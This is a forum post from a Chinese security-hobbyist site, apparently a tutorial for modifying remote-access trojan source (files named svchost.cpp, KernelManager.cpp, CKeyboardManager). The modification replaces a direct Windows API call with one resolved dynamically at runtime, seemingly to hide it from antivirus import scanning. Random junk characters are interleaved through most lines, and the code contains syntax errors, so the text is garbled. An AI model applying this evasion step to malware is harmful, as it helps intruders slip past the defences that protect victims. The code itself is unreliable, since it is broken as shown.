Board logo

标题: [原创文章] 全局动态调用 [打印本页]

作者: ice_xke    时间: 2010-10-19 12:30     标题: 全局动态调用

全局动态调用笔记
" ], f! Q8 S+ P" K& M( jsvchost files工程->插入->类(Generic Class DTDY)->DTDY.cpp DTDY.h
4 R9 r; w2 r; r----------------------------------------
) R2 C. ~9 b2 n  @% o$ [DTDY.h:
2 j  s8 n+ q+ b2 b) _( N* j2 P* ?9 h/ V  N$ q; R, g. W# l! L; [
#if _MSC_VER>1000
7 }! b+ R% w+ e2 j5 G$ R#pragma once
) ^$ v; ^8 o2 N5 I2 K" w5 ^' j! U#endif //_MSC_VER>1000  i; o/ |, p$ ]% z( r7 t8 L0 w% K! }
#include<windows.h>
4 L- ]! [1 R: Q, H! [( ?- G* j( ]
0 l" N) A# O" K1 C6 ]- Btypedef DWORD (__stdcall *pGetModuleFileNameA)(HMODULE,LPSTR,DWORD);4 {* ]. k, T# t3 X3 `
class DTDY. O$ `# Y& R; }9 d2 V
{/ _4 {* w9 r8 H" d) J
public:
6 f9 [. D3 }. s6 O: g8 BDTDY();
9 o' _. M$ a2 K7 J1 d; Q' Wvirtual ~DTDY();
( p: z5 U5 J# J$ p' Zpublic:- A( H& j$ S* q3 f+ t9 I+ y7 a/ Q8 _
static pGetModuleFileNameA MyGetModuleFileName;
& l, b) O+ R, P' \- Istatic BOOL FunInitiallization();
" u& T' |% v6 s};
5 [; _* E' }1 J6 M* Y#endif
, N; O' M5 r) A$ V8 `5 g----------------------------------------  V% Z, {# B+ F( R: o' B

8 S7 O6 i0 T2 z: A+ X2 [5 \) ODTDY.cpp:
" r+ N( P6 s. ]! F# |+ \% j
2 f5 g. w( H, v# V5 E4 n6 w#include "DTDY.h"
, H& E  O1 H! V( JpGetModuleFileNameA DTDY::MyGetModuleFileName=NULL;
& }# {$ Q' p0 m9 ?) g6 bDTDY:TDY()$ M) A. l; m4 j* k, Q3 z
{
% R1 J6 `; K: z" @/ I}
/ W" c- @& O0 P1 c/ q7 O1 v, N3 xDTDY::~DTDY()3 v1 x, c9 }+ ?# |6 T9 |
{4 E8 @& G/ _: Y
}
( T0 K  w8 F2 j# p* K) iBOOL DTDY::FunInitiallization()
8 ^- T# d' B- i' o& ?4 E: b{! n* ?9 J  p+ k! g5 r' v
HMODULE hModule=LoadLibrary("kernel32.dll");
" f& i4 ~: j& _2 [* K! \$ S' oMyGetModuleFileName=(pGetModuleFileNameA)GetProcAddress(hModule,"GetModuleFileNameA");& u) @& Z* ]3 j$ A
if(!MyGetModuleFileName=) return FALSE;
- R' x; [  y! m+ u% o* l2 E1 f5 }+ B, U8 P
return TRUE;! k$ S5 I$ o( E- q( Z; F5 V( s
}1 Z) j/ u( g! w) P) j' ~( }
----------------------------------------
4 b6 a: J/ m' X" @: ^svchost.cpp:
3 }6 F" s' o- K. C  W: R7 Q5 ?# B5 g% I0 \6 f
#include "DTDY.h"7 F- D2 e2 Y! q; g4 \' o: A

4 V. A) X, D( E3 R7 |& d" xBOOL APIENTRY DllMain(HANDLE hModule,DWORD ul_reason_for_call,LPVOID lpReserved)2 A" |; `+ N' r
{
: \$ W, w6 U) ]/ K7 W; w' n+ w0 Bswitch(ul_reason_for_call)  g% G# }) C1 O
{% Z% D5 y! B8 E+ c. S8 C4 R
case DLL_PROCESS_ATTACH:
% C4 |$ A# S' h1 x( ^if(!DTDY::FunInitiallization()) return FALSE;# n0 K3 z0 [7 Q/ ?  ~# q5 b: d' Y
; ]! r4 m1 Y- e0 r' o
break;
. D! f% O; b5 N8 \2 n, N}& [8 x2 v7 U* Q6 m- _" v, [! v7 E
}
3 X# ?( k* d- s- c2 c  ^' N( {9 w8 t: B( b; T% F, g
2 W5 Y3 a! l( o+ y4 d3 s
GetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));->goto def
1 |* S5 t7 r. P! ]1 e' ^. _$ X' U改写为9 E! u7 h) {  \
DTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strFileName,sizeof(strFileName));
. r+ m1 Y5 |' r' _% \( |6 F! U----------------------------------------: R) T0 }( L5 @2 I* w9 o6 F8 d
KernelManager.cpp:
) \: B2 r) A7 i: W0 }, D: u2 J: b  Z2 r. M
#include "../DTDY.h"
8 C+ P: ~; ~6 P3 r5 a/ z' UGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
! S6 W9 T4 x" d/ Z/ @3 D" V5 g改写为
) g7 I& f0 {2 b9 h& PDTDY::MyGetModuleFileName(CKeyboardManager::g_hInstance,strServiceDll,sizeof(strServiceDll));
/ s  n# \. D6 ]; J----------------------------------------




欢迎光临 【3.A.S.T】网络安全爱好者 (http://3ast.com/) Powered by Discuz! 7.2